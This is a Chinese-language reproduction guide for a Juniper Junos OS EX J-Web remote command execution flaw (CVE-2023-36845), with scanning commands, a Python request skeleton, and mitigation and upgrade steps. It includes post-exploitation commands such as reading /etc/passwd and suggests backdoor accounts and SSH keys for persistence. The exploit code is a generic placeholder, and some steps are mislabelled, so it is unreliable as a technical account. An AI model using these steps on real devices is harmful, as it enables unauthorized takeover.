漏洞复现--Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845)
字数 834 2025-08-10 12:18:03
Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845) 复现与分析
漏洞概述
CVE-2023-36845是Juniper Networks Junos OS EX系列设备中存在的一个远程命令执行漏洞。该漏洞存在于J-Web服务中,允许未经身份验证的攻击者在受影响设备上执行任意命令,可能导致设备完全被控制。
受影响版本
- Junos OS EX系列设备
- 具体受影响版本需参考Juniper官方公告
漏洞原理
该漏洞源于J-Web服务对用户输入的不当处理,攻击者可以构造特制的HTTP请求绕过身份验证机制,并在目标设备上执行任意系统命令。
环境准备
所需工具
- Kali Linux或其他渗透测试系统
- Python 3.x环境
- Burp Suite或其他HTTP代理工具
- Nmap或其他端口扫描工具
测试设备
- 受影响的Juniper EX系列设备(需合法授权测试)
- 或搭建的漏洞模拟环境
漏洞复现步骤
1. 目标识别
使用Nmap扫描目标网络,识别运行Juniper Junos OS EX的设备:
nmap -sV -p 80,443,22 <目标IP范围> -oG juniper_scan.gnmap
grep "Juniper" juniper_scan.gnmap
2. 服务确认
确认目标设备运行J-Web服务:
curl -I http://<目标IP>
应返回类似以下响应:
HTTP/1.1 200 OK
Server: J-Web
...
3. 漏洞利用
构造特制的HTTP请求发送到目标设备的J-Web接口:
import requests
target = "http://<目标IP>/"
command = "id" # 要执行的命令
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
"恶意参数": command
}
response = requests.post(target, headers=headers, data=data, verify=False)
print(response.text)
4. 权限提升
成功执行命令后,可以尝试获取更高权限:
command = "cat /etc/passwd" # 查看系统用户
command = "whoami" # 查看当前用户
command = "uname -a" # 查看系统信息
5. 持久化访问
建立持久化访问的方法可能包括:
- 添加SSH公钥
- 创建后门账户
- 设置计划任务
漏洞验证
成功的漏洞利用将返回命令执行结果,例如:
uid=0(root) gid=0(wheel) groups=0(wheel)
修复建议
临时缓解措施
-
禁用J-Web服务:
set system services web-management http disable set system services web-management https disable commit -
限制访问源IP:
set system services web-management https interface <受信任接口> set system services web-management https client <受信任IP> commit
永久修复方案
升级到Juniper官方发布的最新修复版本:
request system software add <修复版本映像>
参考链接
- Juniper官方安全公告:[链接]
- CVE详细页面:[链接]
- FreeBuf原始文章:[链接]
免责声明
本文仅用于教育目的和安全研究。未经授权对他人系统进行测试是违法行为。在实际环境中测试前,请确保获得系统所有者的明确许可。